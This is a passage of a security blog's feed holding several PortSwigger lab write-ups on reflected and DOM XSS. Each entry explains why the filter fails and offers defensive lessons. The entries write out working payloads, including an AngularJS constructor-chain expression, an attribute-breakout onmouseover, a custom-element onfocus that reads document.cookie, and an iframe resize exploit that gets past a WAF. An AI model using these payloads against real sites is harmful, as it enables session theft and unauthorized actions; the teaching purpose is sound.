    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>DOM XSS Through an AngularJS Expression Despite HTML Encoding</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-angularjs-expression/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-angularjs-expression/</id>
    <published>2026-07-04T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The lab reflects the <code>search</code> query inside an AngularJS-controlled region. Although angle brackets and double quotes are HTML-encoded, the browser-side framework still treats <code>&#123;&#123;...&#125;&#125;</code> as an expression. The vulnerable interpretation context is therefore an AngularJS template rather than ordinary HTML.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The objective is to trigger <code>alert(1)</code> through <code>GET /?search=&lt;value&gt;</code>. The source identifies a surrounding <code>ng-app</code> directive, which causes AngularJS to process expressions in that part of the page.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>I first submitted the harmless expression <code>&#123;&#123;1+1&#125;&#125;</code> in the search field.</p><figure><img src="/images/portswigger/xss/lab-angularjs-expression/step-1.png" alt="Search field contains the harmless AngularJS expression &lbrace;&lbrace;1+1&rbrace;&rbrace; to test whether reflected text is compiled as a template."><figcaption>Search field contains the harmless AngularJS expression <code>&lbrace;&lbrace;1+1&rbrace;&rbrace;</code> to test whether reflected text is compiled as a template.</figcaption></figure><p>The results heading displayed <code>2</code>, not the literal expression. That behavior confirms client-side template evaluation and provides stronger evidence than reflection alone.</p><figure><img src="/images/portswigger/xss/lab-angularjs-expression/step-2.png" alt="Results heading renders `2` rather than the literal braces, confirming AngularJS expression evaluation in the search context."><figcaption>Results heading renders `2` rather than the literal braces, confirming AngularJS expression evaluation in the search context.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Encoding <code>&lt;</code>, <code>&gt;</code>, and quotes can prevent input from becoming new HTML markup or breaking out of an HTML attribute. It does not neutralize AngularJS interpolation syntax. Because untrusted text reaches a live template under <code>ng-app</code>, AngularJS evaluates the expression after the HTML parser has handled the encoded characters.</p><p>This is a client-side template injection condition that becomes DOM XSS when the expression reaches executable JavaScript behavior.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Open the lab and locate the search input.</li><li>Submit <code>&#123;&#123;1+1&#125;&#125;</code> and verify that the page renders <code>2</code>.</li><li>Replace the arithmetic probe with the lab payload <code>&#123;&#123;$on.constructor('alert(1)')()&#125;&#125;</code>.</li><li>Submit the search and observe the JavaScript alert.</li></ol><p>In the payload, <code>$on</code> is an object available in the AngularJS scope. Accessing its <code>constructor</code> reaches the <code>Function</code> constructor; invoking it with <code>alert(1)</code> creates a function, and the final <code>()</code> executes that function. No injected <code>&lt;script&gt;</code> element is required.</p><figure><img src="/images/portswigger/xss/lab-angularjs-expression/step-3.png" alt="Browser alert dialog showing `1` after the constructor-chain expression reaches the Function constructor in the AngularJS scope."><figcaption>Browser alert dialog showing `1` after the constructor-chain expression reaches the Function constructor in the AngularJS scope.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The arithmetic probe establishes expression evaluation, while the alert establishes executable impact. Together they distinguish the issue from simple reflected text. The PortSwigger lab’s solved state is the final platform-level confirmation.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Do not place untrusted data into framework templates that AngularJS will compile or evaluate. Keep user-controlled values outside template source, bind them as data using safe framework mechanisms, and avoid dynamically compiling attacker-influenced markup. Context-aware HTML encoding remains necessary for HTML sinks, but it cannot fix a different sink whose interpreter is AngularJS.</p><p>Retiring unsupported AngularJS applications and enforcing a restrictive Content Security Policy can reduce exposure, but neither replaces removing untrusted input from executable template contexts.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression">PortSwigger Web Security Academy: DOM XSS in an AngularJS expression</a></li><li><a href="https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs">PortSwigger research: XSS without HTML—client-side template injection with AngularJS</a></li></ul><h2 id="Provenance"><a href="#Provenance" class="headerlink" title="Provenance"></a>Provenance</h2><p>This article was rewritten in English from the local migration source named in the front matter. The three figures are controlled copies of that source’s screenshots; no additional runtime observations were introduced.</p>]]></content>
    
    
    <summary type="html">PortSwigger lab walkthrough showing why HTML-encoding angle brackets and quotes does not stop DOM XSS when reflected input is evaluated as an AngularJS expression.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped/</id>
    <published>2026-07-04T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Template-literal expression injection</strong>. The search value is embedded in a JavaScript template literal assigned to <code>innerText</code>; characters including angle brackets, quotes, backslash, and backticks are Unicode-escaped. Template interpolation syntax is not escaped, so the JavaScript engine evaluates the expression even though the final DOM assignment uses <code>innerText</code>.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Page load evaluates <code>alert(1)</code> and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The search value is embedded in a JavaScript template literal assigned to <code>innerText</code>; characters including angle brackets, quotes, backslash, and backticks are Unicode-escaped. Template interpolation syntax is not escaped, so the JavaScript engine evaluates the expression even though the final DOM assignment uses <code>innerText</code>.</p><figure><img src="/images/portswigger/xss/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped/step-1.png" alt="Academy objective identifies reflected input inside a template literal where angle brackets, quotes, backslashes, and backticks are escaped."><figcaption>Academy objective identifies reflected input inside a template literal where angle brackets, quotes, backslashes, and backticks are escaped.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the search value is embedded in a JavaScript template literal assigned to <code>innerText</code>; characters including angle brackets, quotes, backslash, and backticks are Unicode-escaped. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`$&#123;alert(1)&#125;`</span><br></pre></td></tr></table></figure><p>Template interpolation syntax is not escaped, so the JavaScript engine evaluates the expression even though the final DOM assignment uses <code>innerText</code>. </p><figure><img src="/images/portswigger/xss/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped/step-2.png" alt="Browser alert dialog showing `1` after the inert `${alert(1)}` interpolation expression is evaluated without terminating the template literal."><figcaption>Browser alert dialog showing `1` after the inert `${alert(1)}` interpolation expression is evaluated without terminating the template literal.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Page load evaluates <code>alert(1)</code> and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Trace search input into a JavaScript template literal and learn why expression interpolation remains executable when quotes, brackets, and backticks are escaped.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into attribute with angle brackets HTML-encoded</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-attribute-angle-brackets-html-encoded/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-attribute-angle-brackets-html-encoded/</id>
    <published>2026-07-03T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Quoted HTML attribute breakout</strong>. Search text is reflected in the <code>value</code> attribute of an input. Angle brackets are encoded, but the delimiting double quote is not. The quote ends <code>value</code> and creates an <code>onmouseover</code> attribute on the existing input; no new tag is required.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Moving the pointer over the search field fires the handler and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Search text is reflected in the <code>value</code> attribute of an input. Angle brackets are encoded, but the delimiting double quote is not. The quote ends <code>value</code> and creates an <code>onmouseover</code> attribute on the existing input; no new tag is required.</p><figure><img src="/images/portswigger/xss/lab-attribute-angle-brackets-html-encoded/step-1.png" alt="Academy objective says angle brackets are encoded and requires reflected XSS by injecting an attribute."><figcaption>Academy objective says angle brackets are encoded and requires reflected XSS by injecting an attribute.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-attribute-angle-brackets-html-encoded/step-2.png" alt="Search results display an encoded script probe as text and preserve it in the search input value, showing that new tags cannot be introduced directly."><figcaption>Search results display an encoded script probe as text and preserve it in the search input value, showing that new tags cannot be introduced directly.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, search text is reflected in the <code>value</code> attribute of an input. Angle brackets are encoded, but the delimiting double quote is not. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&quot; onmouseover=&quot;alert(1)`</span><br></pre></td></tr></table></figure><p>The quote ends <code>value</code> and creates an <code>onmouseover</code> attribute on the existing input; no new tag is required. </p><figure><img src="/images/portswigger/xss/lab-attribute-angle-brackets-html-encoded/step-3.png" alt="Results heading shows the inert quote-and-image probe, used to establish that a double quote can terminate the existing input value attribute."><figcaption>Results heading shows the inert quote-and-image probe, used to establish that a double quote can terminate the existing input value attribute.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-attribute-angle-brackets-html-encoded/step-4.png" alt="Solved page reflects the inert text `&quot; onmouseover=&quot;alert(1)` in the heading while the existing search input carries the injected mouseover handler."><figcaption>Solved page reflects the inert text `" onmouseover="alert(1)` in the heading while the existing search input carries the injected mouseover handler.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Moving the pointer over the search field fires the handler and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle-brackets-html-encoded">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Follow reflected search text into a quoted input value and learn how closing the attribute adds an onmouseover handler despite angle-bracket encoding.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into HTML context with all tags blocked except custom ones</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-html-context-with-all-standard-tags-blocked/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-html-context-with-all-standard-tags-blocked/</id>
    <published>2026-07-03T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Custom-element focus event bypass</strong>. The search response is HTML context behind a filter that rejects standard tags but accepts unknown custom elements and global attributes. <code>tabindex</code> makes the custom element focusable and fragment <code>#x</code> focuses it when the exploit-server redirect reaches the page.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Automatic focus runs <code>onfocus</code>, displays the cookie, and solves the victim-delivery lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The search response is HTML context behind a filter that rejects standard tags but accepts unknown custom elements and global attributes. <code>tabindex</code> makes the custom element focusable and fragment <code>#x</code> focuses it when the exploit-server redirect reaches the page.</p><figure><img src="/images/portswigger/xss/lab-html-context-with-all-standard-tags-blocked/step-1.png" alt="Academy objective states that all standard HTML tags are blocked but custom elements remain available, with automatic access to `document.cookie` required."><figcaption>Academy objective states that all standard HTML tags are blocked but custom elements remain available, with automatic access to `document.cookie` required.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-all-standard-tags-blocked/step-2.png" alt="Burp Intruder tag enumeration shows the custom name `xss` returning status 200 while standard tags are rejected."><figcaption>Burp Intruder tag enumeration shows the custom name `xss` returning status 200 while standard tags are rejected.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the search response is HTML context behind a filter that rejects standard tags but accepts unknown custom elements and global attributes. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&amp;lt;xss id=x onfocus=alert(document.cookie) tabindex=1&amp;gt;&amp;lt;/xss&amp;gt;`</span><br></pre></td></tr></table></figure><p><code>tabindex</code> makes the custom element focusable and fragment <code>#x</code> focuses it when the exploit-server redirect reaches the page. </p><figure><img src="/images/portswigger/xss/lab-html-context-with-all-standard-tags-blocked/step-3.png" alt="Developer Tools shows the reflected custom `xss` element with id `x`, `tabindex=1`, and an `onfocus` handler containing the inert alert expression."><figcaption>Developer Tools shows the reflected custom `xss` element with id `x`, `tabindex=1`, and an `onfocus` handler containing the inert alert expression.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-all-standard-tags-blocked/step-4.png" alt="Solved Academy banner confirms navigation to fragment `#x` focused the custom element and triggered its handler."><figcaption>Solved Academy banner confirms navigation to fragment `#x` focused the custom element and triggered its handler.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Automatic focus runs <code>onfocus</code>, displays the cookie, and solves the victim-delivery lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-all-standard-tags-blocked">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Learn how reflected input creates a custom focusable element when standard tags are blocked, then uses the URL fragment to trigger its onfocus handler.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into HTML context with most tags and attributes blocked</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-html-context-with-most-tags-and-attributes-blocked/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-html-context-with-most-tags-and-attributes-blocked/</id>
    <published>2026-07-03T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Filtered body onresize execution</strong>. Burp fuzzing shows most tags and attributes blocked, while <code>body</code>&#x2F;<code>html</code> and the <code>onresize</code> event remain permitted. The exploit server embeds the reflected body handler and changes iframe width after load, producing the required resize event without a victim click.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The simulated victim receives a print dialog and the lab is solved.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Burp fuzzing shows most tags and attributes blocked, while <code>body</code>&#x2F;<code>html</code> and the <code>onresize</code> event remain permitted. The exploit server embeds the reflected body handler and changes iframe width after load, producing the required resize event without a victim click.</p><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-1.png" alt="Academy objective identifies a reflected search XSS protected by a WAF and requires a `print()` call."><figcaption>Academy objective identifies a reflected search XSS protected by a WAF and requires a `print()` call.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-2.png" alt="Burp Intruder Sniper configuration places a payload marker in the reflected `search` parameter for tag enumeration."><figcaption>Burp Intruder Sniper configuration places a payload marker in the reflected `search` parameter for tag enumeration.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-3.png" alt="Intruder payload list contains candidate HTML tag names used to find tags accepted by the WAF."><figcaption>Intruder payload list contains candidate HTML tag names used to find tags accepted by the WAF.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, burp fuzzing shows most tags and attributes blocked, while <code>body</code>&#x2F;<code>html</code> and the <code>onresize</code> event remain permitted. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&lt;iframe src=&quot;LAB/?search=%22%3E%3Cbody%20onresize=print()%3E&quot; onload=&quot;this.style.width=&#x27;100px&#x27;&quot;&gt;&lt;/iframe&gt;`</span><br></pre></td></tr></table></figure><p>The exploit server embeds the reflected body handler and changes iframe width after load, producing the required resize event without a victim click. </p><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-4.png" alt="Tag-enumeration results show `body` returning status 200 while most candidates return 400."><figcaption>Tag-enumeration results show `body` returning status 200 while most candidates return 400.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-5.png" alt="Repeater request verifies a reflected `body` element is accepted before testing event attributes."><figcaption>Repeater request verifies a reflected `body` element is accepted before testing event attributes.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-6.png" alt="Event-enumeration results show `onresize` returning status 200 for the accepted body tag."><figcaption>Event-enumeration results show `onresize` returning status 200 for the accepted body tag.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-html-context-with-most-tags-and-attributes-blocked/step-7.png" alt="Solved Academy banner confirms the exploit-server iframe resize fired the reflected body handler and called `print()`."><figcaption>Solved Academy banner confirms the exploit-server iframe resize fired the reflected body handler and called `print()`.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The simulated victim receives a print dialog and the lab is solved. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Trace reflected input into filtered HTML and learn how an allowed body onresize handler executes when an iframe changes the viewport dimensions.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into HTML context with nothing encoded</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-html-context-nothing-encoded/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-html-context-nothing-encoded/</id>
    <published>2026-07-03T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
